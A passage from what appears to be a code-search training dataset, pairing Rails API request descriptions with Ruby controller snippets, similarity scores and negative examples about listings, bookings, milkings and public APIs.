format.html # index.html.erb\n format.json { render json: @innings }\n end\n end", "def market_listings_for(item_url)\n render_url = item_url.sub(/\\/$/,'') + '/render/?query=&start=0&count=10'\n begin\n listings = JSON.parse(@c.get_content(render_url))\n rescue\n puts \"Error getting listing info\"\n return []\n end\n begin\n return listings[\"listinginfo\"].map(&:last).map do |listing|\n {\n id: listing[\"listingid\"],\n price: listing[\"converted_price\"] + listing[\"converted_fee\"],\n base_amount: listing[\"converted_price\"],\n fee_amount: listing[\"converted_fee\"],\n page_url: item_url\n }\n end\n rescue\n puts \"Converted price not there. try again\"\n return []\n end\n end", "def index\n @parks = Park.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @parks }\n end\n end", "def index_single_gift\n render json: @gift, include: :ages, status: :ok\n end", "def index\n @pricings = Pricing.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @pricings\n end", "def film_api(url)\n film_response = RestClient.get(url)\n film_hash = JSON.parse(film_response)\nend", "def pings\n response[\"pings\"]\n end", "def foods_units\n get('/foods/units.json')\n end", "def index\n render json: { bookings: @site.bookings.order(datetime: :asc) }, status: 200\n end", "def serve_listing_data\n @listings = Listing.open.joins(:origin_loc).group(\"listings.id\").\n order(\"listings.created_at DESC\").find_with(params, @current_user, @current_community).select(\"listings.id, listing_type, category\")\n render :json => { :data => @listings }\n end", "def index\n @disponibles = Disponible.take(50)\n\n render json: @disponibles, include: '**'\n end", "def index\n @super_bowl_picks = SuperBowlPick.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @super_bowl_picks }\n end\n end", "def get_listings(product_ids)\n get_api_response(\"/api/products/#{product_ids}/listings\")\n end", "def index\n render json: Loan.all\n end", "def index\n limit = params.fetch(:limit, 10).to_i\n @playings = Playing.order(:created_at).reverse_order.limit(limit)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @playings }\n end\n end", "def pokemon_api_caller\nresponse = RestClient.get \"https://pokeapi.co/api/v2/pokemon/?offset=0&limit=807\"\nresponse_JSON = JSON.parse(response)\nresponse_JSON[\"results\"]\nend", "def index\n @kistings = Kisting.all\n end", "def drinks\n top_drinks = Drink.top.limit(5)\n exclude_drink_ids = top_drinks.map(&:id)\n top_gin_drinks = Drink.top(Ingredient.gin_canonical_id, exclude_drink_ids).limit(5)\n exclude_drink_ids += top_gin_drinks.map(&:id)\n top_vodka_drinks = Drink.top(Ingredient.vodka_canonical_id, exclude_drink_ids).limit(5)\n exclude_drink_ids += top_vodka_drinks.map(&:id)\n top_margarita_drinks = Drink.top([Ingredient.triple_sec_canonical_id, Ingredient.tequila_canonical_id], exclude_drink_ids).limit(5)\n render json: {\n general: top_drinks,\n gin_drinks: top_gin_drinks,\n vodka_drinks: top_vodka_drinks,\n margaritas: top_margarita_drinks,\n }\n end", "def index\n sighting = Sighting.all \n render json: SightingSerializer.new(sighting)\n end", "def get_movies_from_api\n all_films = RestClient.get('http://www.swapi.co/api/films/')\n film_hash = JSON.parse(all_films) \nend", "def set_milk\n @milk = Milk.find(params[:id])\n end", "def index\n weathers = Weather.all\n render json: weathers, status: 200\n end", "def index\n @sayings = Saying.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sayings }\n end\n end", "def scrape_etsy(url)\n data = Net::HTTP.get(url)\n parsed_data = JSON(data)\n # count_listings(parsed_data)\n return parsed_data\nend", "def index\n @bottlings = handle_sorting(:bottling, :sku, :wine, :bottle_size)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bottlings }\n end\n end", "def get_all_actors_for_movie(movie)\n url = \"http://movies.api.mks.io/actors\"\n response = RestClient.get(url, accept: 'application/json')\n\nend", "def index\n @networkings = Networking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @networkings }\n end\n end", "def show\n @kitten = Kitten.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kitten }\n end\n end", "def total\n url = \"https://api.justgiving.com/#{Rails.application.secrets.justgiving_api_key}/v1/fundraising/pages/thebteam-cardiff\"\n begin\n response = RestClient.get \"https://api.justgiving.com/#{Rails.application.secrets.justgiving_api_key}/v1/fundraising/pages/thebteam-cardiff\"\n if response.code == 200\n @total = JSON.parse response.body\n end\n rescue => e\n logger.error \"Mole Total: #{e.message} - #{url}\"\n @total = { grandTotalRaisedExcludingGiftAid: \"Sorry, JustGiving is unavailable at this time.\" }\n end\n\n respond_to do |format|\n format.html # total.html.erb\n format.json { render json: @total, callback: params[:callback] }\n format.xml { render xml: @total }\n end\n end", "def index\n @pictures = @museum.pictures.all #Picture.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end", "def index\n info = Aws.get_recipes_from_db\n render :json => info\n end", "def index\n @bot_bingo_numbers = BotBingoNumber.all\n\n respond_to do |format|\n format.html # index.html.erb\n # frommat.json { render json: @bot_bingo_numbers }\n end\n end", "def index\n response = RestClient.get 'http://api.bitvalor.com/v1/order_book.json'\n data = JSON.parse(response.body)[\"bids\"]\n @fox = data.select {|element| element[0] == \"FOX\"}\n @b2u = data.select {|element| element[0] == \"B2U\"}\n @mbt = data.select {|element| element[0] == \"MBT\"}\n end", "def get_character_movies_from_api(character)\n #make the web request\n page = 1\n # iterate over the character hash to find the collection of `films` for the given\n # `character`\n # collect those film API urls,\n until page == 10\n all_characters = RestClient.get(\"https://swapi.co/api/people/?page=#{page}\")\n character_hash = JSON.parse(all_characters)\n\n character_hash[\"results\"].each do |value|\n if value[\"name\"] == character\n films_hash = value[\"films\"]\n end\n end\n page +=1\n end\n\nend", "def index\n recipes = Recipe.all\n render status: :ok, json: recipes\n end", "def index\n @malings = Maling.all\n end", "def milk_params\n params.require(:milk).permit(:name)\n end", "def index\n @mugshots = Mugshot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mugshots }\n end\n end", "def index\n # get the user from params \n user = User.find(params[:user_id])\n if current_user.admin == true \n \n if params[:page] && params[:per_page]\n @parkings = user.parking.all\n paginate json: @parkings, meta: {\n total: @parkings.count,\n per_page: params[:per_page].to_i, \n page: params[:page].to_i,\n pages: (@parkings.count / params[:per_page].to_f).ceil\n }\n else\n @parkings = user.parking.all\n render json: @parkings\n end\n \n elsif current_user == user.id\n if params[:page] && params[:per_page] \n parkings = user.parking.all\n paginate json: @parkings, meta: {\n total: @parkings.count,\n per_page: params[:per_page].to_i, \n page: params[:page].to_i,\n pages: (@parkings.count / params[:per_page].to_f).ceil\n }\n else\n @parkings = user.parking.all\n render json: @parkings\n end\n else\n render :json => {:error => \"You don't have permissions to visit this endpoint\"}.to_json, :status => :forbidden\n end\n end", "def index\n @parkings = Parking.all\n end", "def index\n @parkings = Parking.all\n end", "def index\n @klasses = Klass.paginate(:page => params[:page], per_page: 30)\n @number = Klass.count\n\n respond_to do |format|\n format.html\n format.json { render :json => Klass.all.to_json(include: :period) }\n end\n end", "def my_listings\n page = params[:page]\n offset = page.to_s+\"0\"\n @prevPage = page.to_i-1\n @nextPage = page.to_i+1\n\n userID = session[:user_id]\n\n uri = URI(\"http://107.170.7.58:4567/api/sell\")\n parameters = {\"ext\" => \"json\", \"user_id\" => userID, \"count\" => \"10\", \"offset\" => offset}\n response = Net::HTTP.post_form(uri, parameters)\n\n list = JSON.parse(response.body)\n\n @sells = Array.new\n @books = Array.new\n list.each do |listing|\n if listing[\"kind\"].eql? \"sell\"\n @sells.push Sell.new(listing[\"data\"])\n else if listing[\"kind\"].eql? \"book\"\n @books[listing[\"data\"][\"id\"]] = Edition.new(listing[\"data\"])\n end\n end\n end\n end", "def get_all_movies_for_actor(actor)\n url = \"http://movies.api.mks.io/movies\"\n response = RestClient.get(url, accept: 'application/json')\n\nend", "def index\n @spoilers = Spoiler.all\n\n render json: @spoilers\n end" ]
[ "0.6508522", "0.6423993", "0.6172123", "0.61475706", "0.6147198", "0.6136396", "0.610696", "0.60163087", "0.60022956", "0.5942831", "0.5885236", "0.58805305", "0.5863591", "0.58632326", "0.5861924", "0.5805214", "0.5802444", "0.57710683", "0.57543284", "0.5748554", "0.57390475", "0.57229805", "0.5719264", "0.57131565", "0.5701469", "0.569389", "0.5682685", "0.56757426", "0.56700164", "0.56569004", "0.56515807", "0.5645828", "0.5645828", "0.5645828", "0.5630033", "0.5629732", "0.56279963", "0.5621868", "0.56125474", "0.56084883", "0.5605858", "0.56028074", "0.5594162", "0.5583941", "0.5553438", "0.5544194", "0.55434525", "0.5534271", "0.5530695", "0.55234593", "0.55138665", "0.5497674", "0.5486897", "0.5486647", "0.5485949", "0.54826397", "0.5481899", "0.54788965", "0.5477509", "0.5475114", "0.5473846", "0.54692405", "0.5461732", "0.54594177", "0.5458493", "0.54572165", "0.54453003", "0.5440468", "0.5437809", "0.5431333", "0.54311115", "0.54306614", "0.54295343", "0.5423428", "0.54230154", "0.5420058", "0.54137313", "0.5413163", "0.54037344", "0.54020077", "0.5399927", "0.5397781", "0.5397766", "0.53968716", "0.53952676", "0.5389693", "0.53877246", "0.5385775", "0.5381071", "0.5375523", "0.5371036", "0.5370735", "0.5370456", "0.5369888", "0.53672427", "0.53672427", "0.5365526", "0.53652114", "0.53639245", "0.5363872" ]
0.6319401
2
GET /milkings/1 GET /milkings/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @milks = Milk.all\n end", "def index\n # if params[:dairy_id]\n # @current_user.diary\n @milkings = Milking.all\n render :index, status: :created, location: v1_milking_url(@milkings)\n end", "def get_brandings\n request :get, \"/v3/brandings.json\"\n end", "def update\n if @milking.update(milking_params)\n render :show, status: :ok, location: v1_milking_url(@milking)\n else\n render json: @milking.errors, status: :unprocessable_entity\n end\n end", "def index\n @biddings = Bidding.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @biddings }\n end\n end", "def set_milking\n @milking = Milking.find(params[:id])\n end", "def index\n @pricings = Pricing.all\n\n render json: @pricings\n end", "def index\n @listings = Listing.all\n render json: @listings\n end", "def set_milk\n @milk = Milk.find(params[:id])\n end", "def index\n @used_bikes = UsedBike.all\n\n render json: @used_bikes, each_serializer: Web::V1::UsedBikeSerializer\n end", "def index\n @smokings = Smoking.all\n end", "def get_random_pokemon(number)\n uri = URI(\"https://pokeapi.co/api/v2/pokemon/#{number}\")\n res = Net::HTTP.get_response(uri)\n JSON.parse(res.body)\nend", "def index\n @listings = Listing.by_user(current_user).all\n\n render json: @listings\n end", "def client_choose(offset = 10, limit = 20)\n response = Net::HTTP.get(\n URI(\"https://pokeapi.co/api/v2/pokemon/?offset=#{offset}&limit=#{limit}\")\n )\n \n JSON.parse(response)\nend", "def index\n @kids = Kid.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @kids }\n end\n end", "def index\n @bookings = Booking.all\n\n render json: @bookings\n end", "def index\n @listings = Listing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @listings }\n end\n end", "def index\n @listings = Listing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @listings }\n end\n end", "def index # returns all bikes within a certain radius\n ## TODO: use coordinates later, when more campuses and bikes.\n # # defaults radius to half mile, and coordinate to requesting ip address\n # radius = params[:radius] ? params[:radius] : 0.5\n # coordinates = params[:coordinates] ? params[:coordinates] : request.location\n # puts coordinates\n # @bikes = Coordinate.near(coordinates, radius).joins(:bikes)\n @bikes = Bike.available\n render json: @bikes\n end", "def index\n\t\tboats = Boat.all\n \trender json: boats, status: 200\n\tend", "def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end", "def index\n @bills = @dwelling.bills\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bills }\n end\n end", "def index\n @pots = Pot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pots }\n end\n end", "def rating(food)\n url = 'https://thereportoftheweek-api.herokuapp.com/reports'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n result = JSON.parse(response)\n puts result[7]['product']\n \n end", "def show\n @mill = Mill.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mill }\n end\n end", "def movie_data\n response = RestClient.get(\"critics.api.mks.io/movie-genres\")\n JSON.parse(response)\nend", "def index\n response = HTTParty.get('http://okta-api:8080/pets/v1/cats', {headers: {\"X-Token\"=> session[:oktastate][:credentials][:token]}})\n if response.code == 200\n @cats = JSON.parse(response.body)\n else\n @cats = []\n end\n end", "def index\n @api_v1_mentorings = Api::V1::Mentoring.all\n end", "def similar\n @property = Property.find(params[:id])\n @response = HTTParty.get(\"http://api.nestoria.co.uk/api?place_name=#{@property.postCode}&action=search_listings&pretty=1&encoding=json&listing_type=rent&country=uk\")\n @data = @response['response']['listings']\n respond_to do |format|\n format.js\n end\n end", "def show\n @kitten = Kitten.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kitten }\n end\n end", "def show\n @kickoff = Kickoff.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @punt }\n end\n end", "def index\n # if we have plan to use paginate\n # @kinofilms = Kinofilm.paginate :page => params[:page], :order => 'id DESC'\n @kinofilms = Kinofilm.all\n @kinofilm = Kinofilm.new\n respond_with(@kinofilms, :location=>kinofilms_path )\n end", "def index\n ingredients = params[:ingredients]\n if params[:limit]\n searchlimit = params[:limit]\n else\n searchlimit = '10'\n end\n\n require 'nokogiri'\n require 'uri-handler'\n require 'open-uri'\n\n ingredients = ingredients.to_uri\n doc = Nokogiri::HTML(open(\"http://www.webtender.com/cgi-bin/search?name=&ingr=#{ingredients}&what=drink&show=#{searchlimit}&verbose=on\"))\n index = 0\n\n drinknames = []\n ings = []\n cocktails = Hash.new\n\n doc.css(\"td[width='90%']\").each do |node|\n # puts node.xpath('/a').text\n drinknames[index] = node.css('a').text\n ings = node.css(\"small\")[1].text\n\n ings.gsub!('Ingredients: ', '')\n ings = ings.split(', ')\n\n\n cocktails[drinknames[index]] = [ings]\n\n index += 1\n end\n\n respond_to do |format|\n format.json { render :json => cocktails }\n end\n end", "def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end", "def index\n json_response(Spot.all)\n end", "def show\n @potluck_item = PotluckItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @potluck_item }\n end\n end", "def meals\n get(\"/user/#{@user_id}/meals.json\")\n end", "def show\n @bowl = Bowl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @bowl }\n end\n end", "def index\n @rentable_items = RentableItem.all\n render json: @rentable_items\n end", "def index\n base_url = 'https://www.googleapis.com/books/v1/volumes?q=fiction&maxResults=20'\n and_key = '&key='\n key = ENV['GOOGLE_BOOKS_API_KEY'] \n googleurl = base_url + and_key + key\n\n response = RestClient.get(googleurl)\n @books = JSON.parse(response)\n\n respond_to do |format|\n format.html\n format.json { render json: @books }\n end\n\nend", "def show\n render json: @used_bike, serializer: Web::V1::UsedBikeSerializer\n end", "def index\n info = Aws.get_recipes_from_db\n render :json => info\n end", "def index\n @postings = Posting.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @postings }\n end\n end", "def index_single_gift\n render json: @gift, include: :ages, status: :ok\n end", "def index\n\n # use a shooting collection cache\n\n respond_to do |format|\n format.html # index.html.erb\n format.json do\n @shootings = Shooting.get_shootings_from_yammer(Yammer::TokenClient.new(token: current_user.access_token))\n render json: { shootings: @shootings }\n end\n end\n end", "def index\n @sightings = Sighting.all\n render json: @sightings\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bookings }\n end\n end", "def index\n @harvestings = Harvesting.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @harvestings }\n end\n end", "def index\n @cannings = Canning.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cannings }\n end\n end", "def index\n recipes = Recipe.all\n render status: :ok, json: recipes\n end", "def show\n @boat = Boat.find(params[:id])\n\n render json: @boat\n end", "def create\n @milk = Milk.new(milk_params)\n\n respond_to do |format|\n if @milk.save\n format.html { redirect_to @milk, notice: 'Milk was successfully created.' }\n format.json { render :show, status: :created, location: @milk }\n else\n format.html { render :new }\n format.json { render json: @milk.errors, status: :unprocessable_entity }\n end\n end\n end", "def milk_params\n params.require(:milk).permit(:name)\n end", "def index\n @super_bowl_picks = SuperBowlPick.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @super_bowl_picks }\n end\n end", "def index\n @bookings = Booking.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @bookings }\n end\n end", "def show\n @precious_metal = PreciousMetal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @precious_metal }\n end\n end", "def index\n pets = pets_from_query\n\n respond_to do |format|\n format.html do\n @pets = pets.paginate(page: params[:page], per_page: 10)\n end\n format.json do\n @pets = pets\n end\n end\n end", "def show\n @mood = Mood.find(params[:id])\n respond_to do |format|\n format.any { render :json => @mood }\n end\n end", "def index\n weathers = Weather.all\n render json: weathers, status: 200\n end", "def index\n @pictures = @museum.pictures.all #Picture.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end", "def show\n @bike = Bike.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bike }\n end\n end", "def index\n @mugshots = Mugshot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mugshots }\n end\n end", "def film_api(url)\n film_response = RestClient.get(url)\n film_hash = JSON.parse(film_response)\nend", "def at_millesime\n @millesime = @wine.millesimes.find(params[:id])\n end", "def index\n @loves = Love.all\n render json: @loves\n end", "def get_reading\n\t\turi = URI.parse('http://localhost:5000/thermometers.json')\n\t\tthermo_response = Net::HTTP.get_response(uri)\n\t\tcheck = thermo_response.body\n\t\tj = JSON.parse(check)\n\tend", "def index\n @lugars = Lugar.all\n\n render json: @lugars\n end", "def show\n @goat = Goat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @goat }\n end\n end", "def people\n Birdman::Requester.get(\"movies/#{id}/people\")\n end", "def index\n @networkings = Networking.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @networkings }\n end\n end", "def foods_units\n get('/foods/units.json')\n end", "def index\n @money = Money.all\n require 'net/http'\n require 'json'\n @url = 'https://api.coinmarketcap.com/v1/ticker/'\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @lookup_money = JSON.parse(@response)\n end", "def show\r\n\r\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/#{params[:id]}/information\")\r\n\r\n http = Net::HTTP.new(url.host, url.port)\r\n http.use_ssl = true\r\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\r\n request = Net::HTTP::Get.new(url)\r\n request[\"x-rapidapi-key\"] = ENV[\"SPOONACULAR_API_KEY\"] # hidden API key\r\n request[\"x-rapidapi-host\"] = 'spoonacular-recipe-food-nutrition-v1.p.rapidapi.com'\r\n\r\n response = http.request(request)\r\n @recipe = JSON.parse response.read_body # gets the recipe\r\n\r\n p url_ingredients = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/#{params[:id]}/ingredientWidget.json\")\r\n\r\n http_ingredients = Net::HTTP.new(url_ingredients.host, url_ingredients.port)\r\n http_ingredients.use_ssl = true\r\n http_ingredients.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n\r\n request_ingredients = Net::HTTP::Get.new(url_ingredients)\r\n request_ingredients[\"x-rapidapi-key\"] = ENV[\"SPOONACULAR_API_KEY\"]\r\n request[\"x-rapidapi-host\"] = 'spoonacular-recipe-food-nutrition-v1.p.rapidapi.com'\r\n\r\n response_ingredients = http.request(request_ingredients)\r\n # puts response_ingredients.read_body\r\n @ingredients = JSON.parse # data is a string (which looks like a hash -> convert to hash) response_ingredients.read_body\r\n p \"RECIPES\"\r\n # p @recipe\r\n p \"INGREDIENTS\"\r\n p @ingredients\r\n\r\n end", "def index\n limit = params.fetch(:limit, 10).to_i\n @playings = Playing.order(:created_at).reverse_order.limit(limit)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @playings }\n end\n end", "def index\n bookings = Booking.all\n\n if bookings\n render json: { status: 'SUCCESS', message: 'Successfuly got all bookings', data: bookings }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Something went wrong' }, status: :unprocessable_entity\n end\n end", "def index\n @malings = Maling.all\n end", "def show\n @kitty = Kitty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @kitty }\n end\n end", "def index\n @pricings = Pricing.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @pricings\n end", "def show\n @monit = Monit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monit }\n end\n end", "def index\n @recipes = Recipe.all\n render json: @recipes\n end", "def index\n @disponibles = Disponible.take(50)\n\n render json: @disponibles, include: '**'\n end", "def index\n @spots = Spot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spots }\n end\n end", "def index\n @kbs = Kb.search(params[:q]).page(params[:page]).order(\"id desc\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @kbs }\n end\n end", "def show\n @museum = Museum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @museum }\n end\n end", "def show\n @listing = Listing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @listing }\n end\n end", "def show\n @listing = Listing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @listing }\n end\n end", "def show\n @listing = Listing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @listing }\n end\n end", "def index\n @bikes = current_user.bikes\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bikes }\n end\n end", "def index\n @innings = Inning.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @innings }\n end\n end", "def index\n @holdings = Holding.select(\"*, ((bid - price) * qty) as gain\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @holdings }\n end\n end", "def handle_get_muffin( request )\n id = request.name_from_path==\"\" ? @theBaker.default_muffin_id : request.id_from_path\n m = @theBaker.muffin_at_id( id )\n ml_response =\n case\n when @theBaker.aint_got_no_muffins_yo?\n ml_response_for_EmptyDB\n when m\n ml_response_for_GET_muffin( m )\n else\n ml_response_for_404_basic( request )\n end\n end", "def show\n @grocery = Grocery.find(params[:id])\n\n render json: @grocery\n end", "def get_monster_info\n monster_string = RestClient.get('http://www.dnd5eapi.co/api/monsters/')\n monster_hash = JSON.parse(monster_string)\n monster_info = monster_hash[\"results\"]\n monster_info\nend", "def index\n @spots = Spot.visible.order('id desc').page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @spots }\n end\n end", "def show\n @koti = Koti.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @koti }\n end\n end", "def index\n @biddings = Bidding.all\n end", "def show\n @pot = Pot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pot }\n end\n end", "def planets\n data = JSON.parse(open(\"http://swapi.co/api/planets\").read)\n @results = data[\"results\"]\n end", "def index\n @bids = Bid.where(\"auction_id = ?\", params[:auction_id])\n\n render json: @bids\n end" ]
[ "0.65317273", "0.63902444", "0.6352694", "0.607", "0.60412", "0.5985302", "0.5917342", "0.58951455", "0.5890445", "0.58597606", "0.5815225", "0.5804468", "0.5801856", "0.57836586", "0.5753032", "0.5743415", "0.57079464", "0.5707328", "0.570499", "0.5681484", "0.5669039", "0.5642521", "0.5631997", "0.5627741", "0.5624504", "0.562413", "0.559609", "0.55935866", "0.5578238", "0.55744576", "0.5571271", "0.55712223", "0.5566076", "0.55569607", "0.5556056", "0.5552717", "0.55360895", "0.5530709", "0.5515487", "0.55052894", "0.5504965", "0.5498764", "0.54826045", "0.5468908", "0.54684013", "0.54642105", "0.5450636", "0.5450636", "0.5450636", "0.5447327", "0.5446792", "0.5439323", "0.5436894", "0.54361147", "0.54346544", "0.5434006", "0.5433922", "0.5433458", "0.5432289", "0.5411071", "0.54070884", "0.54006493", "0.53997743", "0.53992605", "0.5398566", "0.5396641", "0.5391576", "0.53914577", "0.5375295", "0.5372348", "0.53650457", "0.5362411", "0.5361201", "0.53602886", "0.5359997", "0.5357703", "0.5355374", "0.5352734", "0.5349875", "0.53481686", "0.5343918", "0.5343912", "0.53339136", "0.5331991", "0.53305554", "0.53223425", "0.5322102", "0.5322102", "0.5322102", "0.53196394", "0.5318162", "0.5317639", "0.5316068", "0.53152686", "0.531264", "0.5304881", "0.5304403", "0.53035", "0.5300912", "0.5299486", "0.52980375" ]
0.0
-1
POST /milkings POST /milkings.json
def create @milking = Milking.new(milking_params) @milking.user_id = @current_user.id # @milking.milking_time_id = milk_timeable @milking.milking_datetime = Time.now @milking.type = milking_period #if Time.now - milking.milking_datetime > 4.hours if @milking.save render :show, status: :created, location: v1_milking_url(@milking) else render json: @milking.errors, status: :unprocessable_entity end #else #end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @milk = Milk.new(milk_params)\n\n respond_to do |format|\n if @milk.save\n format.html { redirect_to @milk, notice: 'Milk was successfully created.' }\n format.json { render :show, status: :created, location: @milk }\n else\n format.html { render :new }\n format.json { render json: @milk.errors, status: :unprocessable_entity }\n end\n end\n end", "def milk_params\n params.require(:milk).permit(:name)\n end", "def milking_params\n params.permit(:cow_id, :quantity, :milked_by)\n end", "def update\n if @milking.update(milking_params)\n render :show, status: :ok, location: v1_milking_url(@milking)\n else\n render json: @milking.errors, status: :unprocessable_entity\n end\n end", "def milkshake_params\n params.require(:milkshake).permit(:name, :description, :price, :pic, ingredient_ids: [])\n end", "def set_milking\n @milking = Milking.find(params[:id])\n end", "def create\n @smoking = Smoking.new(smoking_params)\n\n respond_to do |format|\n if @smoking.save\n format.html { redirect_to @smoking, notice: 'Smoking was successfully created.' }\n format.json { render :show, status: :created, location: @smoking }\n else\n format.html { render :new }\n format.json { render json: @smoking.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end", "def set_milk\n @milk = Milk.find(params[:id])\n end", "def index\n # if params[:dairy_id]\n # @current_user.diary\n @milkings = Milking.all\n render :index, status: :created, location: v1_milking_url(@milkings)\n end", "def create\n\n @listing = Listing.new(listing_params)\n\n @listing.save\n\n render json: @listing\n redirect_to listings_path # redirect to home page\n end", "def smoking_params\n params.require(:smoking).permit(:smoke_date, :smoke_time, :smoke_interval, :latitude, :longitude, :tobacco_id)\n end", "def create\n megam_rest.post_billedhistories(to_hash)\n end", "def post\n Typhoeus.post(@url,\n body: @results_hash.to_json,\n headers: { 'Content-Type' => 'application/json' })\n end", "def tombstone_timehold_params\n params.require(:tombstone_timehold).permit(:tombstoneJSON, :permanent, :rating)\n end", "def nudge_params\n params.require(:nudge).permit(:nudge_token, :user_id, :pet_id, :group_id, :response)\n end", "def create_parks_from_api\n url = \"https://developer.nps.gov/api/v1/parks?limit=500&api_key=GhGhpL8DrRdsEAwfu0Mn4gXuhgkdnhVnrEnNfmRx\"\n resp = RestClient.get(url)\n json_hash = JSON.parse(resp)\n park_codes = []\n\n json_hash.each do |data_key, value|\n if data_key[\"data\"]\n value.each do |hash_keys|\n Park.create(park_name: hash_keys[\"fullName\"], park_code: hash_keys[\"parkCode\"])\n \n end\n end\n end\n\nend", "def index\n @milks = Milk.all\n end", "def my_listings\n page = params[:page]\n offset = page.to_s+\"0\"\n @prevPage = page.to_i-1\n @nextPage = page.to_i+1\n\n userID = session[:user_id]\n\n uri = URI(\"http://107.170.7.58:4567/api/sell\")\n parameters = {\"ext\" => \"json\", \"user_id\" => userID, \"count\" => \"10\", \"offset\" => offset}\n response = Net::HTTP.post_form(uri, parameters)\n\n list = JSON.parse(response.body)\n\n @sells = Array.new\n @books = Array.new\n list.each do |listing|\n if listing[\"kind\"].eql? \"sell\"\n @sells.push Sell.new(listing[\"data\"])\n else if listing[\"kind\"].eql? \"book\"\n @books[listing[\"data\"][\"id\"]] = Edition.new(listing[\"data\"])\n end\n end\n end\n end", "def update\n respond_to do |format|\n if @milk.update(milk_params)\n format.html { redirect_to @milk, notice: 'Milk was successfully updated.' }\n format.json { render :show, status: :ok, location: @milk }\n else\n format.html { render :edit }\n format.json { render json: @milk.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @kpt = Kpt.new\n @iterations = Iteration.all\n\n respond_to 